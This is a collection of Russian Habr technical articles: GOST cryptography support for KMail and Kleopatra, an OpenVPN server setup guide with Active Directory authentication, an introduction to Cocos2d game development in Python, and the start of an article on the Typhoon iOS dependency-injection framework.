KMail – это почтовый клиент, который для обеспечения безопасности переписки позволяет подписывать и шифровать сообщения по протоколу S/MIME. И то и другое базируется на архитектуре PKI, сертификатах X509 и протоколах CMS/PKCS#7:
Kleopatpa – это графическая утилита, которая не только позволяет подписывать и шифровать файлы, но и обеспечивает хранение и управление сертификатами и закрытыми ключами:
И Kleopatpa и KMail не имеют встроенной криптографии: все криптографические преобразования для них делает их свита и прежде всего модуль *gpgsm* из пакета [GnuPg](https://www.gnupg.org/). Для криптографических вычислений используется библиотека [LibGCrypt](https://www.gnu.org/software/libgcrypt/). А для разбора сертификатов X509, подписанных или зашифрованных сообщений (CMS/PKCS#7, PKCS#10 и т.п.) используется библиотека [libksba](https://www.gnupg.org/%28en%29/related_software/libksba/index.html). Упомянем еще библиотеку [libgpgme](https://www.gnupg.org/%28es%29/related_software/gpgme/index.html), но о ее роли чуть позже.
И если сама *Kleopatpa* и ее верный слуга *KMail* ничего против российской криптографии не имеют, то их свита, за исключением *LibGCrypt*, наотрез отказывается с ней дружить.
Начнем с самого безобидного члена свиты, а именно с библиотеки *libgpgme*. Для начала посмотрим исходный код подписанного сообщения:
В поле *«Content-Type»* есть переменная *micalg,* в которой указывается тип хэша, используемого при формировании или проверке подписи. Для многих почтовых клиентов, в том числе и для KMail, отсутствие значение в этом поле никак не влияет на проверку электронной подписи, но только не для Thunderbird и Seamonkey. Поэтому желательно, чтобы это поле и KMail-ом заполнялось. Тем более, что для этого потребуются минимальные усилия. Все, что необходимо это добавить в файл *gpgme.h.in* номера российских хэш-алгоритмов:
```
/* Hash algorithms (the values match those from libgcrypt). */
typedef enum
{
GPGME_MD_NONE = 0,
. . .
GPGME_MD_CRC24_RFC2440 = 304,
/*Добавлено from gcrypt.h.in !!!!*/
GPGME_MD_GOSTR3411_94 = 308, /* GOST R 34.11-94 */
GPGME_MD_STRIBOG256 = 309, /* GOST R 34.11-2012, 256 bit. */
GPGME_MD_STRIBOG512 = 310, /* GOST R 34.11-2012, 512 bit. */
GPSME_MD_GOSTR3411_CP = 311 , /* GOST R 34.11-94 with CryptoPro-A S-Box. */ }
gpgme_hash_algo_t;
```
Причем эти номера должны строго коррелировать с соответствующими номерами из файла *gcrypt.h.in* библиотеки *libgcrypt*:
```
/************************************
* Cryptograhic Hash Functions *
************************************/
/* Algorithm IDs for the hash functions we know about. Not all of them
are implemented. */
enum gcry_md_algos
{
GCRY_MD_NONE = 0,
. .
GCRY_MD_TIGER2 = 307, /* TIGER2 variant. */
/*Российские хэш алгоритмы*/
GCRY_MD_GOSTR3411_94 = 308, /* GOST R 34.11-94. */
GCRY_MD_STRIBOG256 = 309, /* GOST R 34.11-2012, 256 bit. */
GCRY_MD_STRIBOG512 = 310, /* GOST R 34.11-2012, 512 bit. */
GCRY_MD_GOSTR3411_CP = 311, /* GOST R 34.11-94 with CryptoPro-A S-Box. */
. . .
GCRY_MD_SHAKE256 = 317
};
```
Вот и все, библиотека *libgpgme* встала на сторону российской криптографии.
Основная доработка пришлась на GnuPg (модуль *gpg-protect-tool*), который отвечает, в частности, за импорт личных сертификатов X509 из защищенного контейнера *PKCS#12*, модуль *gpgsm*, который в частности, отвечает за формирование и разбор сертификатов, подписанных и зашифрованных сообщений (CMS, PKCS#7) и его подмастерье библиотеку *libksba*.
Риторический вопрос – где взять личный сертификат, т.е. сертификат X509 и закрытый ключ? Но сегодня с этим вопросов нет, конечно в Удостоверяющем Центре (УЦ). Сегодня в России зарегистрированных только в Минкомсвязи не одна [сотня УЦ](http://minsvyaz.ru/ru/activity/govservices/2/#section-list-of-accredited-organizations). Однако надо помнить, что это услуга платная! Для тестирования (и даже внутрикорпоративного защищенного документооборота, включая почтовую переписку) личные сертификаты в защищенном контейнере PKCS#12 можно получить с помощью утилиты openssl, либо на одном из бесплатных тестовых УЦ.
Для импорта личного сертификата в среду Клеопатры (правильнее сказать в хранилище сертификатов и закрытых ключей в GnuPg) необходимо имеющийся личный сертификат выгрузить (экспортировать) в контейнер PKCS#12. При этом может оказаться, что контейнер был сформирован в соответствии с требованиями [ТК-26](http://www.tc26.ru/). В настоящее время (подчеркиваем, в настоящее время) GnuPg не ладит с контейнерами PKCS#12 сформированными по требованиям ТК-26, но это и не страшно. Имея под рукой утилиту *openssl*, мы быстро избавляемся от этого недостатка, выпустив новый контейнер с помощью простого скрипта:
```
#cat CONVERT_P12_for_GPGSM.sh
# в файле /etc/ssl/openssl.cnf должен быть подкючен ГОСТ-ый engine
export OPENSSL_CONF=/etc/ssl/openssl.cnf
openssl pkcs12 -in $1.p12 -nodes -out $1.txt.p12 -nomacver
openssl pkcs12 -export -in $1.txt.p12 -nodes -out $1\_openssl_cert_key.p12
rm –f $1.txt.p12
echo "Файл для импорта в GPGSM: $1\_openssl_cert_key.p12"
#
#sh CONVERT_P12_for_GPGSM.sh фт-2001-2016
Enter Import Password:
Enter Export Password:
Verifying - Enter Export Password:
Файл для импорта в GPGSM: фт-2001-2016_openssl_cert_key.p12
#
```
Теперь у нас есть контейнер PKCS#12, который мы и будем импортировать:
После нажатия кнопки *«Открыть»* будет предложено ввести пароль для разбора контейнера PKCS#12:
А затем будет предложено ввести и подтвердить пароль, по которому будет осуществляться доступ к закрытому ключу импортированного сертификата:
Все, личный сертификат импортирован. Сторонние сертификаты, а также корневые сертификаты, импортируются как из формата DER, так и формата PEM.
Теперь, когда *Kleopatra* владеет сертификатами, она может своим личным сертификатом подписывать документы:
вводя пароль для доступа к закрытому ключу:
Конфиденциальные файлы теперь можно шифровать с использованием сертификата получателя:
При создании CMC/PKCS#7 с шифрованием для формирования ключа шифрования ключей (КЕК) с помощью закрытого ключа, соответствующего ключу *originatorKey publicKey*, и открытому ключу получателя, применяется алгоритм *VKO GOST R 34.10-2012*. К сожалению, в текущей версии GCrypt отсутствует реализация данного алгоритма. Реализация данного алгоритма была заимствована из библиотеки LCC-2016 и добавлена в файл *ecc-gost.c*.
И так, смело нажимаем кнопку ***«Продолжить»***:
Что касается почтового клиента KMail, то для того, чтобы защитить переписку (электронная подпись, шифрование), прежде всего надо выбрать личный сертификат (сертификат, у которого есть закрытый ключ), которым вы будете подписывать почтовые сообщения, а также сертификат, который будет участвовать в шифровании писем:
Нажмите кнопку ***«Запустить диспетчер сертификатов»***: к вашим услугам будет Клеопатра и вы сможете подробно просмотреть свойства выбираемого сертификата.
Теперь можно как подписывать, так и шифровать почтовые сообщения:
После нажатия ***«Отправить»*** KMail запросит подтвердить факт шифрования:
И запросит ввести пароль для доступа к закрытому ключу:
Но хочется большего. Речь идет об использовании программно-аппаратных токенов PKCS#1 с поддержкой все той же российской криптографии. Для подключения тоненов PKCS#11 необходимо установить в систему доработанный модуль *gnu-pkcs11-scd*, а в конфигурационный файл *gpg-agent.conf* добавить следующие строки:
```
scdaemon-program /usr/local/bin64/gnupg-pkcs11-scd
pinentry-program /usr/bin/pinentry-qt
```
После этого необходимо в конфигурационном файле *gnu-pkcs11-scd.conf* указать библиотеки PKCS#11 для токенов, которые будут использоваться:
```
#В примере предполагается использование программно-аппаратного токена
#с библиотекой /usr/local/lib64/libls11usb2016.so
…
# Comma-separated list of available provider names. Then set
# attributes for each provider using the provider-[name]-attribute
# syntax.
providers libls11usb2016
provider-libls11usb2016-library /usr/local/lib64/libls11usb2016.so
provider-libls11usb2016-cert-private
…
```
Убедитесь, что *gpg-agen*t запущен:
```
$ gpg-agent --daemon --use-standard-socket
GPG_AGENT_INFO=/home/a513/.gnupg/S.gpg-agent:19092:1; export GPG_AGENT_INFO;
$
```
Теперь после запуска Kleopatra или KMail, будет запрошен PIN-код для доступа к токену:
Проверить имя токена, можно воспользовавшись свободно распространяемой утилитой p11conf:
```
$ /usr/local/bin64/p11conf -A /usr/local/lib64/libls11usb2016.so -h
usage: /usr/local/bin64/p11conf [-hitsmIupPred] -A APIpath [-c slotID -U userPin -S SOPin -n newPin -L label]
-h display usage
-i display PKCS#11 library info
-s display slot(s) info (-c slotID is optional)
-t display token(s) info (-c slotID is optional)
Others must use -c slotID
-m display mechanism list
-I initialize token
-u initialize user PIN
-p set the user PIN
-P set the SO PIN
-r remove all objects
-e enumerate objects
-d dump all object attributes
Copyright(C) 2011-2016
bash-4.3$
```
Для просмотра импормации о токене достаточно выполнить следующую команду:
После успешного ввода PIN-кода, будет получен весь список сертификатов, как из хранилища GnuGPG, так и хранящихся на подключенных токенах/смарт-картах PKCS#11:
Более того, теперь использовать российскую криптографию в S/MIME для подписания и шифрования переписки могут использовать и другие почтовые клиенты (например, *Claws, Evolution*), которые используют для этого мехамизмы *GnuPg/SMIME*:
Вот и все – Kleopatra и ее королевская свита добросовестно служат российской криптографии!
Что дальше?
А дальше надеемся, что в ближней перспективе Kleopatra также будет формировать запросы PKCS#10 для ГОСТ Р 34,10-2001/2012:
Которые затем можно будет передавать в Удостоверяющие Центры и в итоге получать сертификаты.
Но это будет другой сказ. | https://habr.com/ru/post/316736/ | null | ru | null |
# Организация удаленной работы SMB организации на OpenVPN
### Постановка задачи
Статья описывает организацию удаленного доступа сотрудников на продуктах с открытым исходным кодом и может быть использована как для построения полностью автономной системы, так и окажется полезной для расширения, когда в имеющейся коммерческой системе возникает нехватка лицензий или ее производительность оказывается недостаточной.
Цель статьи — внедрить законченную систему предоставления удаленного доступа организации, что немного больше, чем «установка OpenVPN за 10 минут».
В результате мы получим систему, в которой для аутентификации пользователей будут использоваться сертификаты и (опционально) корпоративный каталог Active Directory. Т.о. мы получим систему с двумя факторами проверки — что имею (сертификат) и что знаю (пароль).
Признаком, что пользователю разрешено подключение, является его членство в группе myVPNUsr. Центр сертификации будет использован автономный.
Цена внедрения решения — только небольшие аппаратные ресурсы и 1 час работы системного администратора.
Мы будем использовать виртуальную машину с OpenVPN и Easy-RSA 3-й версии на CetntOS 7, которой из расчета на 100 подключений выдано 4 vCPU, 4 GiB RAM.
В примере сеть нашей организации 172.16.0.0/16, в которой VPN сервер с адресом 172.16.19.123 расположен в сегменте 172.16.19.0/24, DNS серверы 172.16.16.16 и 172.16.17.17, а для VPN клиентов выделена подсеть 172.16.20.0/23.
Для подключения извне используется подключение по порту 1194/udp, а в DNS для нашего сервера создана A-запись gw.abc.ru.
Категорически не рекомендуется отключать SELinux! OpenVPN работает без отключения политик безопасности.
### Содержание
1. [Установка ОС и прикладного ПО](#setup)
2. [Настройка криптографии](#crypto)
3. [Настройка OpenVPN](#ovpn)
4. [Аутентификация в AD](#auth)
5. [Запуск и диагностика](#run)
6. [Выпуск и отзыв сертификата](#cert)
7. [Настройка сети](#net)
8. [Что дальше](#next)
#### Установка ОС и прикладного ПО
Используем дистрибутив CentOS 7.8.2003. Нам нужна установка ОС в минимальной конфигурации. Удобно делать это с использованием [kickstart](https://ru.wikipedia.org/wiki/Kickstart), клонированием ранее установленного образа ОС и другими средствами.
После установки, назначения адреса сетевому интерфейсу (по условиям задачи 172.16.19.123), выполняем обновление ОС:
```
$ sudo yum update -y && reboot
```
Также необходимо убедиться, что на нашей машине выполняется синхронизация времени.
Для установки прикладного ПО нужны пакеты openvpn, openvpn-auth-ldap, easy-rsa и vim как основной редактор (понадобится репозиторий EPEL).
```
$ sudo yum install epel-release
$ sudo yum install openvpn openvpn-auth-ldap easy-rsa vim
```
Для виртуальной машины полезно установить гостевого агента:
```
$ sudo yum install open-vm-tools
```
для хостов VMware ESXi, или для oVirt
```
$ sudo yum install ovirt-guest-agent
```
#### Настройка криптографии
Переходим в каталог easy-rsa:
```
$ cd /usr/share/easy-rsa/3/
```
Создаем файл переменных:
```
$ sudo vim vars
```
следующего содержания:
```
export KEY_COUNTRY="RU"
export KEY_PROVINCE="MyRegion"
export KEY_CITY="MyCity"
export KEY_ORG="ABC LLC"
export KEY_EMAIL="admin@abc.ru"
export KEY_CN="allUsers"
export KEY_OU="allUsers"
export KEY_NAME="gw.abc.ru"
export KEY_ALTNAMES="abc-openvpn-server"
export EASYRSA_CERT_EXPIRE=3652
```
Здесь описаны параметры для условной организации ООО «ABC», можно исправить их на настоящие или оставить из примера. Самое важное в параметрах — последняя строка, определяющая срок действия сертификата в днях. В примере использовано значение 10 лет (365\*10+2 високосных года). Это значение необходимо будет откорректировать перед выпуском сертификатов пользователей.
Далее настраиваем автономный центр сертификации.
Настройка включает экспорт переменных, инициализацию ЦС, выпуск корневых ключа и сертификата ЦС, ключ Диффи-Хеллмана, ключ TLS, а также ключа и сертификата сервера. Ключ центра сертификации необходимо тщательно оберегать и хранить в секрете! Все параметры при запросах можно оставить по умолчанию.
```
cd /usr/share/easy-rsa/3/
. ./vars
./easyrsa init-pki
./easyrsa build-ca nopass
./easyrsa gen-dh
./easyrsa gen-req myvpngw nopass
./easyrsa sign-req server myvpngw
./easyrsa gen-crl
openvpn --genkey --secret pki/ta.key
```
На этом основная часть настройки криптографического механизма закончена.
#### Настройка OpenVPN
Переходим в каталог OpenVPN, создаем служебные каталоги и добавляем ссылку на easy-rsa:
```
cd /etc/openvpn/
mkdir /var/log/openvpn/ /etc/openvpn/ccd /usr/share/easy-rsa/3/client
ln -s /usr/share/easy-rsa/3/pki/ /etc/openvpn/
```
Создаем основной файл конфигурации OpenVPN:
```
$ sudo vim server.conf
```
следующего содержания
```
port 1194
proto udp
dev tun
ca /etc/openvpn/pki/ca.crt
cert /etc/openvpn/pki/issued/myvpngw.crt
key /etc/openvpn/pki/private/myvpngw.key
crl-verify /etc/openvpn/pki/crl.pem
dh /etc/openvpn/pki/dh.pem
server 172.16.20.0 255.255.254.0
ifconfig-pool-persist ipp.txt
push "route 172.16.0.0 255.255.255.0"
push "route 172.17.0.0 255.255.255.0"
client-config-dir ccd
push "dhcp-option DNS 172.16.16.16"
push "dhcp-option DNS 172.16.17.17"
keepalive 10 120
cipher AES-256-CBC
user nobody
group nobody
persist-key
persist-tun
status /var/log/openvpn/openvpn-status.log
log-append /var/log/openvpn/openvpn.log
verb 3
explicit-exit-notify 1
username-as-common-name
plugin /usr/lib64/openvpn/plugin/lib/openvpn-auth-ldap.so /etc/openvpn/ldap.conf
```
Некоторые замечания по параметрам:
* если при выпуске сертификата было указно другое имя — укажите его;
* пул адресов указывайте под свои задачи\*;
* маршрутов и DNS серверов может быть один или несколько;
* 2 последние строки нужны для реализации аутентификации в AD\*\*.
*\*Выбранный в примере диапазон адресов позволит подключиться одновременно до 127 клиентам, т.к. выбрана сеть /23, а OpenVPN создает на каждого клиента подсеть по маске /30.
При особой необходимости порт и протокол могут быть изменены, однако следует иметь ввиду, что изменение порта номера порта повлечет настройку SELinux, а использование протокола tcp повысит накладные расходы, т.к. контроль доставки tcp-пакетов уже выполняется на уровне инкапсулированных в туннель пакетов.
\*\*Если аутентификация в AD не нужна, закомментируйте их, следущий раздел — пропустите, а в шаблоне **удалите строку auth-user-pass**.*
#### Аутентификация в AD
Для поддержки второго фактора будем использовать проверку учетной записи в AD.
Нам необходима учетная запись в домене с правами рядового пользователя и группа, членством в которой будет определяться возможность подключения.
Создаем конфигурационный файл:
```
/etc/openvpn/ldap.conf
```
следующего содержания
```
URL "ldap://ldap.abc.ru"
BindDN "CN=bindUsr,CN=Users,DC=abc,DC=ru"
Password b1ndP@SS
Timeout 15
TLSEnable no
FollowReferrals yes
BaseDN "OU=allUsr,DC=abc,DC=ru"
SearchFilter "(sAMAccountName=%u)"
RequireGroup true
BaseDN "OU=myGrp,DC=abc,DC=ru"
SearchFilter "(cn=myVPNUsr)"
MemberAttribute "member"
```
Основные параметры:
* URL «ldap://ldap.abc.ru» — адрес контроллера домена;
* BindDN «CN=bindUsr,CN=Users,DC=abc,DC=ru» — каноническое имя для привязки к LDAP (УЗ — bindUsr в контейнере abc.ru/Users);
* Password b1ndP@SS — пароль пользователя для привязки;
* BaseDN «OU=allUsr,DC=abc,DC=ru» — путь, с которого начинать поиск пользователя;
* BaseDN «OU=myGrp,DC=abc,DC=ru» — контейнер разрешающей группы (группа myVPNUsr в контейнере abc.ru\myGrp);
* SearchFilter "(cn=myVPNUsr)" — имя разрешающей группы.
#### Запуск и диагностика
Теперь мы можем попробовать включить и запустить наш сервер:
```
$ sudo systemctl enable openvpn@server.service
$ sudo systemctl start openvpn@server.service
```
Проверка запуска:
```
systemctl status openvpn@server.service
journalctl -xe
cat /var/log/messages
cat /var/log/openvpn/*log
```
#### Выпуск и отзыв сертификата
Т.к. помимо самих сертификатов нужны ключи и остальные настройки, очень удобно обернуть все это в один файл профиля. Этот файл затем передается пользователю и уже профиль импортируется на клиенте OpenVPN. Для этого создадим шаблон настроек и скрипт, формирующий профиль.
В профиль нужно добавить содержимое файлов корневого сертификата (ca.crt) и TLS ключ (ta.key).
Перед выпуском сертификатов пользователей не забудьте установить требуемый срок действия сертификатов в файле параметров. Не следует делать его слишком большим, рекомендую ограничиться максимум 180 днями.
```
vim /usr/share/easy-rsa/3/vars
```
```
...
export EASYRSA_CERT_EXPIRE=180
```
```
vim /usr/share/easy-rsa/3/client/template.ovpn
```
```
client
dev tun
proto udp
remote gw.abc.ru 1194
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
cipher AES-256-CBC
verb 3
auth-user-pass
-----BEGIN CERTIFICATE-----
PUT YOUR CA CERT (ca.crt) HERE
-----END CERTIFICATE-----
key-direction 1
-----BEGIN OpenVPN Static key V1-----
PUT YOUR TA KEY (ta.key) HERE
-----END OpenVPN Static key V1-----
```
Примечания:
* строки *PUT YOUR...* меняем на содержимое **своих** сертификатов;
* в директиве remote укажите имя/адрес своего шлюза;
* директива auth-user-pass используется для дополнительной внешней аутентификации.
В домашнем каталоге (или другом удобном месте) создаем скрипт запроса сертификата и создания профиля:
```
vim ~/make.profile.sh
```
```
#!/bin/bash
if [ -z "$1" ] ; then
echo Missing mandatory client name. Usage: $0 vpn-username
exit 1
fi
#Set variables
basepath=/usr/share/easy-rsa/3
clntpath=$basepath/client
privpath=$basepath/pki/private
certpath=$basepath/pki/issued
profile=$clntpath/$1.ovpn
#Get current year and lowercase client name
year=`date +%F`
client=${1,,}
echo Processing $year year cert for user/device $client
cd $basepath
if [ -f client/$client* ]; then
echo "*** ERROR! ***"
echo "Certificate $client already issued!"
echo "*** ERROR! ***"
exit 1
fi
. ./vars
./easyrsa --batch --req-cn=$client gen-req $client nopass
./easyrsa --batch sign-req client $client
#Make profile
cp $clntpath/template.ovpn $profile
echo "" >> $profile
cat $privpath/$1.key >> $profile
echo "" >> $profile
echo -e "\n" >> $profile
openssl x509 -in $certpath/$1.crt -out $basepath/$1.crt
echo "" >> $profile
cat $basepath/$1.crt >> $profile
echo "" >> $profile
echo -e "\n" >> $profile
#remove tmp file
rm -f $basepath/$1.crt
echo Complete. See $profile file.
cd ~
```
Делаем файл исполняемым:
```
chmod a+x ~/make.profile.sh
```
И можно выпустить наш первый сертификат.
```
~/make.profile.sh my-first-user
```
#### Отзыв
В случае компрометации сертификата (утеря, кража) необходимо отозвать этот сертификат:
```
cd /usr/share/easy-rsa/3/
./easyrsa revoke my-first-user
./easyrsa gen-crl
```
#### Просмотр выданных и отозванных сертификатов
Для просмотра выданных и отозванных сертификатов достаточно просмотреть индексный файл:
```
cd /usr/share/easy-rsa/3/
cat pki/index.txt
```
Пояснения:
* первой строкой идет сертификат сервера;
* первый символ
+ V (Valid) — действительный;
+ R (Revoked) — отозванный.
#### Настройка сети
Последние шаги — настройка сети передачи — маршрутизации и межсетевых экранов.
Разрешение подключений в локальном брандмауэре:
```
$ sudo firewall-cmd --add-service=openvpn
$ sudo firewall-cmd --add-service=openvpn --permanent
```
Далее, включаем маршрутизацию IP трафика:
```
$ sudo sysctl net.ipv4.ip_forward=1
$ sudo echo "net.ipv4.ip_forward=1" > /etc/sysctl.d/50-sysctl.conf
```
В корпоративной среде наверняка существует деление на подсети и нам необходимо сообщить маршрутизатору (-ам), каким образом отправлять пакеты, адресованные нашим VPN клиентам. В командной строке выполняем команду на манер (зависит от используемого оборудования):
```
# ip route 172.16.20.0 255.255.254.0 172.16.19.123
```
и сохраняем конфигурацию.
Помимо этого на интерфейсе пограничного маршрутизатора, где обслуживается внешний адрес gw.abc.ru, необходимо разрешить прохождение пакетов udp/1194.
В случае, если в организации действуют строгие правила безопасности, на нашем VPN сервере необходимо также настроить межсетевой экран. На мой взгляд, наибольшую гибкость дает настройка iptables цепочек FORWARD, хотя настраивать их менее удобно. Немного подробнее о их настройке. Для этого удобнее всего использовать «прямые правила» — direct rules, хранимые в файле */etc/firewalld/direct.xml*. Действующую конфигурацию правил можно узнать так:
```
$ sudo firewall-cmd --direct --get-all-rule
```
Перед изменением файла сделайте его резервную копию:
```
cp /etc/firewalld/direct.xml /etc/firewalld/direct.xml.`date +%F.%T`.bak
```
Примерное содержимое файла таково:
```
xml version="1.0" encoding="utf-8"?
-i tun0 -o ens192 -p udp --dport 53 -j ACCEPT
-i tun0 -o eth0 -p tcp -d 172.16.19.200 --dport 80 -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT
-i tun0 -o eth0 -p tcp -d 172.16.19.201 --dport 443 -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT
-i tun0 -o eth0 -p udp -d 172.16.19.100 --dport 7000 -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT
-i tun0 -o eth0 -j LOG --log-prefix 'forward\_fw '
```
#### Пояснения
По существу это обычные правила iptables, иначе упакованные после появления firewalld.
Интерфейс назначения при настройках по умолчанию tun0, а внешний для туннеля может быть иным, напр., ens192, в зависимости от используемой платформы.
Последняя строка предназначена для журналирования отброшенных пакетов. Чтобы журналирование заработало, в конфигурации firewalld нужно изменить уровень отладки:
```
vim /etc/sysconfig/firewalld
FIREWALLD_ARGS=--debug=2
```
Применение настроек — обычная команда firewalld для перечитывания настроек:
```
$ sudo firewall-cmd --reload
```
Отброшенные пакеты можно просмотреть так:
```
grep forward_fw /var/log/messages
```
#### Что дальше
На этом настройка закончена!
Осталось на стороне клиента установить клиентское ПО, импортировать профиль и подключиться. Для ОС типа Windows дистрибутив размещен на [сайте разработчика](https://openvpn.net/community-downloads/).
В завершение подключаем наш новый сервер к системам мониторинга и архивации, и не забываем регулярно устанавливать обновления.
Стабильного коннекта! | https://habr.com/ru/post/501048/ | null | ru | null |
# Разработка игр с использованием Cocos2d на Python
#### Введение
Имплементация Cocos2d на Objective-C используется для разработки игр для iPhone весьма широко. По данным [официального сайта](http://www.cocos2d-iphone.org) число игр на этом движке уже превышает 1800. Не раз [упоминался](http://habrahabr.ru/search/?q=cocos2d) он и на Хабре. Другие порты (cocos2d-x на C++ и cocos2d-android на Java) также известны и набирают популярность. Однако прародитель этих движков, **оригинальный Cocos2d** оказался незаслуженно обойден вниманием. Попробую восполнить этот пробел.
Cocos2d написан на языке Python с использованием библиотеки [pyglet](http://www.pyglet.org). В силу использования Python и простой архитектуры он кросплатформенный и хорошо подходит для быстрого прототипирования и тестирования концепций игр. Движок несколько отстает от своих потомков в части реализации некоторых возможностей, однако на практике это не вызывает сложностей. Проблемой движка является низкое качество документации: [официальный гайд](http://cocos2d.org/doc/programming_guide/index.html) описывает самые базовые концепции, а затем пестрит перманентными заглушками TODO. [API](http://cocos2d.org/doc/api/index.html) также содержит мало комментариев. Тем не менее, в комплекте идут примеры и тесты, которые позволяют ознакомиться с основными приемами программирования.
Итак, [устанавливаем](http://cocos2d.org/doc/programming_guide/installation.html) Cocos2d и приступаем.
#### Сцены и поток управления
Сцена (класс `cocos.scene.Scene`) — это один уровень или экран вашей игры. Все игровые объекты, принадлежащие конкретному уровню, размещаются на соответствующей сцене. Для управления сценами используется синглтон director (`cocos.director.director`).
`# задействуем cocos2d
import cocos
# инициализируем director; аргументами можно передать размер окна, заголовок и пр.
cocos.director.director.init()
# создаем новую пустую сцену и передаем ее директору, запуская таким образом основной цикл
cocos.director.director.run(cocos.scene.Scene())`
В процессе игры director контролирует стэк сцен. Стэк сцен — очень удобная концепция. Когда новая сцена помещается на стэк, директор приступает к ее исполнению, а предыдущая сцена приостанавливается. Когда верхняя сцена снимается со стэка, директор возобновляет исполнение предыдущей сцены. Таким образом, например, можно реализовать вложенные уровни или внутриигровые меню. Для операций со стэком сцен используются методы директора `push()`, `pop()` и `replace()`. Вызов `replace()` эквивалентен последовательному вызову `pop()` и `push()`.
#### Структура сцены
Сцена (scene) представляет собой набор объектов (узлов), организованных в виде дерева. Корнем дерева является сама сцена. Трансформации родителя (положение, угол наклона, масштаб) в такой модели влияют на трансформации детей. Таким образом можно строить сложные составные объекты и легко управлять их отображением. В движке представлен широкий спектр готовых примитивов узлов (например, слой (`cocos.layer.Layer`), спрайт (`cocos.sprite.Sprite`), текст (`cocos.text.Label`), система частиц (`cocos.particle.ParticleSystem`) и многие другие). Можно писать свои узлы, наследуя от `cocos.cocosnode.CocosNode` или производных классов.
`import cocos
cocos.director.director.init()
# создаем новую пустую сцену
scene = cocos.scene.Scene()
# добавляем узел с текстом
scene.add(cocos.text.Label("Hello world!", position = (100, 200))
# исполняем сцену
cocos.director.director.run(scene)`
Структура сцены формируется с использованием методов узлов `add()`, `remove()` и `kill()`.
Объекты могут контролировать свое (и не только свое) состояние при помощи функций обратного вызова, создавать которые довольно просто. Для иллюстрации создадим производный узел с вращающимся текстом:
`import cocos
class RotatingText(cocos.text.Label):
# инициализируем базовый класс и настраиваем обратный вызов
 def __init__(self, text = "", position = (0, 0)):
 super(RotatingText, self).__init__(text, position)
 self.schedule(self.update)
# функция обратного вызова, модифицируем угол поворота в зависимости от прошедшего времени
 def update(self, dt):
 self.rotation += dt * 20
cocos.director.director.init()
scene = cocos.scene.Scene()
scene.add(RotatingText("Hello world!", (100, 200)))
cocos.director.director.run(scene)`
#### Действия
Описанного выше уже достаточно для того, чтобы написать простую демку, создав объекты и задав их поведение. Однако то, что делает Cocos2d таким гибким и мощным — это система действий (actions), и сейчас мы в ней разберемся.
Действие — это указание объекту изменить свое состояние.
`import cocos
cocos.director.director.init()
scene = cocos.scene.Scene()
label = cocos.text.Label("Hello world!", position = (100, 200))
scene.add(label)
# текстовая метка будет перемещаться вправо на 200 пикселей в течение 5 секунд
label.do(cocos.actions.MoveBy((200, 0), duration = 5))
cocos.director.director.run(scene)`
Действия бывают мгновенными и интервальными. Кроме того, действия бывают абсолютными и относительными. Список стандартных действий включает:
* перемещение (мгновенное — `Place`, интервальные — `MoveTo`, `MoveBy`, `JumpTo`, `JumpBy`)
* масштабирование (`ScaleTo`, `ScaleBy`)
* поворот (`RotateTo`, `RotateBy`)
* управление видимостью объекта (`Show`, `Hide`, `Blink`, `ToggleVisibility`)
* управление прозрачностью (`FadeIn`, `FadeOut`, `FadeTo`)
Благодаря переопределенным операторам `+` и `|` действия можно комбинировать. Действия, скомбинированные с помощью суммирования, исполняются последовательно друг за другом.
`# метка переместится вверх на 100 пикселей за 5 секунд и затем растворится за 3 секунды
label.do(cocos.actions.MoveBy((0, 100), 5) + cocos.actions.FadeOut(3))`
Действия, скомбинированные с помощью дизъюнкции, исполняются параллельно.
`# метка переместится вверх на 100 пикселей, одновременно поворачиваясь на 90 градусов, за 5 секунд
label.do(cocos.actions.MoveBy((0, 100), 5) | cocos.actions.RotateBy(90, 5))`
Кроме того, есть действия-модификаторы, воздействующие на способ применения действий. Стандартные действия-модификаторы:
* повтор (`Repeat`) — повторяет заданное действие бесконечно
* ускорение (`Accelerate`, `AccelDeccel`) — изменяют ускорение действия в его процессе
* изменение скорости (`Speed`) — изменяет время исполнения действия
* обратное действие (`Reverse`) — данное действие будет исполнено в обратном направлении, если это возможно
* и другие
`# метка будет бесконечно перемещаться влево-вправо на 200 пикселей с периодом в 3 секунды
action = cocos.actions.MoveBy((200, 0), 3)
label.do(cocos.actions.Repeat(action + cocos.actions.Reverse(action)))`
#### Отладка
Cocos2d содержит встроенный интерпретатор Python, который вызывается по умолчанию нажатием Ctrl-I. С помощью интерпретатора можно получить полную интроспекцию игры и вести разработку интерактивно. Исполнение при этом не останавливается.
#### Заключение
К сожалению, многие вопросы (такие как взаимодействие с пользователем, обработка событий, переходы между сценами и эффекты) остались за рамками данной статьи. Если хабровчанам интересны эти темы, попробую изложить их в следующей статье.
[Официальный сайт Cocos2d](http://cocos2d.org/) | https://habr.com/ru/post/120438/ | null | ru | null |
# Управляем зависимостями в iOS-приложениях правильно: Typhoon Tips & Tricks
*В предыдущих частях цикла мы рассмотрели основные аспекты работы **Typhoon** и подготовились к полноценному применению его на практике. Тем не менее, помимо затронутых тем, фреймворк предоставляет большое количество других функций.*
В этой статье мы рассмотрим следующие особенности Typhoon Framework:
* **Автоинъекция** (также известная как autowiring),
* Автоматический выбор из **альтернативных реализаций** одного ***TyphoonDefinition***,
* Особенности работы с ***TyphoonConfig***
* Использование *TyphoonPatcher* для организации **интеграционных тестов**,
* Применение **runtime-атрибутов** при создании объектов,
* **Реализация фабрик** на базе *TyphoonAssembly*,
* **Постпроцессинг объектов**, создаваемых при помощи Typhoon,
* Инструменты для написания **асинхронных тестов**.
#### **Цикл «Управляем зависимостями в iOS-приложениях правильно»**
* [Знакомство с Typhoon](http://habrahabr.ru/company/rambler-co/blog/258325/)
* [Устройство Typhoon](http://habrahabr.ru/company/rambler-co/blog/260355/)
* [Модульность Typhoon](http://habrahabr.ru/company/rambler-co/blog/261537/)
* [Typhoon Tips & Tricks](http://habrahabr.ru/company/rambler-co/blog/264683/)
* Альтернативы Typhoon
* *[(Дополнительно) Rambler.iOS #3. Dependency Injection в iOS. Слайды](http://www.slideshare.net/Rambler-iOS/dependency-injection-ios)*
* *[(Дополнительно) Rambler.iOS #3. Dependency Injection в iOS. Видео](https://www.youtube.com/watch?v=LO59z3fjc9k)*
#### **Автоинъекции/Autowire**
